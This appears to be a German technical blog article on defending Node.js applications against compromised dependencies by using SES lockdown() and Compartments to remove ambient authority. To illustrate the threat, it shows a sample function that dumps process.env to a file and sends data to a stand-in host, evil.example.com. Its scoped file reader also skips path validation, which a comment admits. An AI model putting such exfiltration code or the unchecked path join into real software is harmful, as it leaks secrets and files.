Eine einzelne kompromittierte transitive dependency kann deine process.env exfiltrieren, auf dein Dateisystem schreiben und ausgehende Verbindungen öffnen. Sie braucht dafür keine Schwachstelle in deinem Code. Sie muss nur im selben Prozess existieren. In JavaScript erbt jedes Modul standardmäßig die volle Autorität der Laufzeitumgebung. Das ist Ambient Authority, und ihre Entfernung ist eine der effektivsten Sicherheitsverbesserungen, die du an einer Node.js-Anwendung vornehmen kannst.

Wie Ambient Authority in JavaScript aussieht

Ambient Authority bedeutet, dass Zugriffsrechte nicht an das gebunden sind, was dir gegeben wurde. Sie sind an den Ort gebunden, an dem du ausgeführt wirst. Jeder Code innerhalb eines Node.js-Prozesses kann nach fs, http, child_process oder process.env greifen, ohne um Erlaubnis zu fragen. Die Laufzeitumgebung stellt diese globalen Objekte jedem Modul zur Verfügung, vertrauenswürdig oder nicht.

// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';

function innocentUtility(data) {
  fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
  https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
  return data.toUpperCase();
}

Die Funktion innocentUtility wurde importiert, um einen String in Großbuchstaben umzuwandeln. Weil sie innerhalb eines Node.js-Prozesses läuft, hat sie auch die Macht, Umgebungsvariablen auszulesen und nach Hause zu telefonieren. Es gibt keine Sandbox. Es gibt kein Berechtigungsmodell. Der Code hat diese Befugnisse einfach angenommen, weil die Laufzeitumgebung sie in Reichweite gelegt hat.

Das ist keine hypothetische Annahme. Supply-Chain-Angriffe auf npm nutzen genau diese Eigenschaft regelmäßig aus. Eine bösartige oder kompromittierte dependency braucht keinen Zero-Day. Sie muss nur per require geladen werden.

Lockdown: der erste Schnitt

Das SES-Shim (Secure ECMAScript), gepflegt von Agoric, stellt eine lockdown()-Funktion bereit, die die JavaScript-Umgebung absichert. Es friert jeden eingebauten Prototyp ein, entfernt gefährliche globale Objekte wie eval und den Function-Konstruktor und verhindert Prototype Pollution. Nach dem Lockdown kann dein eigener Code nicht mehr versehentlich oder böswillig an Array.prototype oder Object.prototype herumpfuschen.

import 'ses';

lockdown();

// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');

// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};

Lockdown ist mächtig, aber allein nicht ausreichend. Es verhindert das Manipulieren der gemeinsamen Umgebung, entfernt aber nicht die Ambient Authority. Ein abgesperrtes Modul kann weiterhin import fs from 'node:fs' ausführen und deine Festplatte lesen. Lockdown sichert die Sprache. Es sichert nicht den Host.

Compartments: den Host entkleiden

Ein Compartment ist eine frische JavaScript-Ausführungsumgebung mit eigenem globalen Scope. Im Gegensatz zu einem vm-Kontext oder einem Web Worker teilt ein Compartment dieselbe Event Loop und denselben Speicher-Heap, startet aber mit nichts. Kein console, kein fetch, kein process. Du musst ihm jede Capability, die es nutzen darf, explizit verleihen.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

const compartment = new Compartment({
  // Only these globals exist inside the compartment.
  console,
  Math,
  JSON,
});

// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
  // This throws: fetch is not defined.
  // fetch('https://evil.example.com');

  // This works: Math was endowed.
  Math.sqrt(16)
`);

console.log(result); // 4

Das Compartment kann nicht auf das Dateisystem, das Netzwerk oder process.env zugreifen, weil diese Capabilities nie hineingegeben wurden. Wenn der Code innerhalb des Compartments kompromittiert wird, ist der Blast Radius durch das begrenzt, was du verliehen hast.

Untrusted Modules sicher laden

Echte Supply-Chain-Verteidigung bedeutet, Drittanbieter-Code in einem Compartment zu laden und ihm nur die Autorität zu geben, die er tatsächlich braucht. Hier ist ein Muster, das mit CommonJS oder ESM-Bundles funktioniert.

import 'ses';
import { readFileSync } from 'node:fs';

lockdown();

// A constrained filesystem capability.
function createScopedReader(baseDir) {
  return {
    readFile(filename) {
      const path = require('node:path').join(baseDir, filename);
      // In production, validate the resolved path is inside baseDir.
      return readFileSync(path, 'utf-8');
    }
  };
}

const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');

const compartment = new Compartment({
  console: {
    log: (...args) => console.log('[plugin]', ...args)
  },
  fs: createScopedReader('./data/readonly/'),
});

// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);

Der Vendor-Code lebt im selben Prozess, operiert aber innerhalb einer Capability-Grenze. Er kann keine Sockets öffnen. Er kann nicht die package.json aus deinem Repo lesen. Er kann nur die Dateien lesen, die du explizit eingegrenzt hast, und über den von dir bereitgestellten Wrapper loggen.

Das ist keine theoretische Härtung. Die Agoric-Blockchain verwendet dieses Modell für ihre Smart-Contract-Plattform. Jeder Smart Contract läuft in einem abgesperrten Compartment mit explizit verliehenen Capabilities.

Die Trade-offs, auf die du stoßen wirst

Compartments sind nicht kostenlos. Das SES-Shim patcht Prototypen und schreibt einige eingebaute Verhaltensweisen um, was kleine Initialisierungskosten verursacht. Wichtiger noch: Viele npm packages gehen von Ambient Authority aus. Sie greifen nach process, Buffer oder setImmediate, ohne sie zu importieren. Wenn diese globalen Objekte fehlen, stürzt der Code ab.

Du hast drei Möglichkeiten. Erstens: die fehlenden globalen Objekte im Compartment mit sicheren Implementierungen polyfillen. Zweitens: die echten globalen Objekte verleihen und das Risiko akzeptieren. Drittens: die dependency auditieren und ihre Annahmen korrigieren.

Meistens braucht die dependency nur Buffer oder setTimeout. Die sind sicher zu verleihen. Die gefährlichen sind fs, net, child_process und process.env. Die sollten nie in ein Compartment gelangen, es sei denn, der Code darin braucht sie wirklich, und selbst dann solltest du sie wrappen.

Das Debugging wird auch schwieriger. Stack Traces aus einem Compartment zeigen in evaluierte Strings oder virtualisierte Quellen. Die moderne Source-Map-Unterstützung von Node.js hilft, aber du wirst Zeit damit verbringen, Zeilennummern zuzuordnen, wenn etwas schiefgeht.

Wo das Ganze scheitert

Native Addons und WASM-Module umgehen die JavaScript-Laufzeitumgebung komplett. Eine .node-Datei, die mit require geladen wird, läuft außerhalb des SES-Compartments und behält die volle Ambient Authority. Wenn du nativen Code sandboxen musst, sind Compartments nicht die Antwort. Du brauchst Betriebssystem-Isolation: seccomp, Landlock oder einen separaten Prozess.

Compartments teilen sich außerdem denselben Heap und dieselbe Event Loop. Ein Compartment kann die CPU immer noch mit einer Endlosschleife aushungern oder Speicher allokieren, bis der Prozess abstürzt. SES bietet compute-Meter, um die Ausführung zu begrenzen, aber das Standard-Compartment setzt keine Ressourcenlimits durch. Es ist eine Sicherheitsgrenze, keine Ressourcengrenze.

Ein praktischer Einstiegspunkt

Du musst nicht deine gesamte Anwendung umschreiben. Beginne mit den risikoreichsten dependencies: allem, das nicht vertrauenswürdige Eingaben parst, allem, das dynamisch geladen wird, und allem von einem Herausgeber, den du nicht kennst.

import 'ses';

lockdown();

function runUntrusted(pluginCode, userData) {
  const compartment = new Compartment({
    JSON,
    Array,
    Object,
    // No fetch, no fs, no process.
  });

  // The plugin receives data and returns a result.
  // It cannot phone home. It cannot read files.
  return compartment.evaluate(`
    (${pluginCode})(${JSON.stringify(userData)})
  `);
}

Wickle dein Plugin-System, deine Template-Engine oder deine nutzergesteuerten Skripte ein. Gib jedem ein Compartment mit der minimalen Autorität, die es für seine Aufgabe braucht. Wenn eine dependency nicht in einem Compartment funktioniert, ist das ein Signal. Sie wurde geschrieben mit der Annahme, den gesamten Prozess zu besitzen. Genau diese Annahme ist es, die du entfernen willst.

FAQ

Was ist der Unterschied zwischen einem Compartment und Nodes vm-Modul?

vm erzeugt einen neuen Kontext mit einem frischen globalen Objekt, hat aber weiterhin Zugriff auf die volle Node.js-API, es sei denn, du entfernst sie explizit. Compartments starten leer und erfordern explizite Endowments. Sie integrieren sich außerdem mit SES-Lockdown, um Prototype-Tampering über die gesamte Laufzeitumgebung hinweg zu verhindern.

Funktioniert das mit TypeScript oder Bundlern?

Ja. Compartments evaluieren JavaScript, also kompilierst du TypeScript zuerst. Bundler wie Rollup oder esbuild können eine dependency in eine einzelne Datei bündeln, die du dann in ein Compartment lädst. Der Bundler entfernt dynamische Imports, was das Compartment-Sandboxing tatsächlich erleichtert.

Kann ich eine Capability nach der Vergabe widerrufen?

Nicht direkt. Eine Capability, die in ein Compartment gegeben wurde, ist eine Referenz auf ein JavaScript-Objekt. Wenn du Widerruf brauchst, wickle die Capability in einen Proxy oder token-gated Wrapper, der bei jedem Zugriff ein Flag prüft. Das ist dasselbe Widerrufsproblem, dem alle Capability-Systeme gegenüberstehen.

Ist SES production-ready?

SES läuft seit 2021 produktiv auf der Agoric-Blockchain. Das ses package auf npm wird aktiv gepflegt. Es durchläuft den TC39-Standardisierungsprozess für JavaScript, gehört aber noch nicht zur Sprachspezifikation.

Ersetzt das Containerisierung?

Nein. Compartments sind eine Prozess-level-Sicherheitsgrenze. Container sind eine Betriebssystemgrenze. Nutze Compartments, um zu begrenzen, was Code innerhalb deines Prozesses tun kann. Nutze Container, um zu begrenzen, was der Prozess selbst tun kann. Sie stapeln sich.

Ambient Authority ist der Standard in JavaScript, weil sie bequem ist. Bequemlichkeit und Sicherheit sind nicht dasselbe. Lockdown und Compartments erlauben es dir, die ambiente Macht zu entfernen, die jedes Modul standardmäßig erbt, und sie durch explizite, eingegrenzte, auditierbare Capabilities zu ersetzen. Beginne mit einer nicht vertrauenswürdigen dependency. Stecke sie in ein Compartment. Nimm ihr fs und ihr fetch weg. Schau, was tatsächlich kaputtgeht. Meistens ist das, was kaputtgeht, eine Annahme, die deine dependency nie das Recht hatte zu treffen.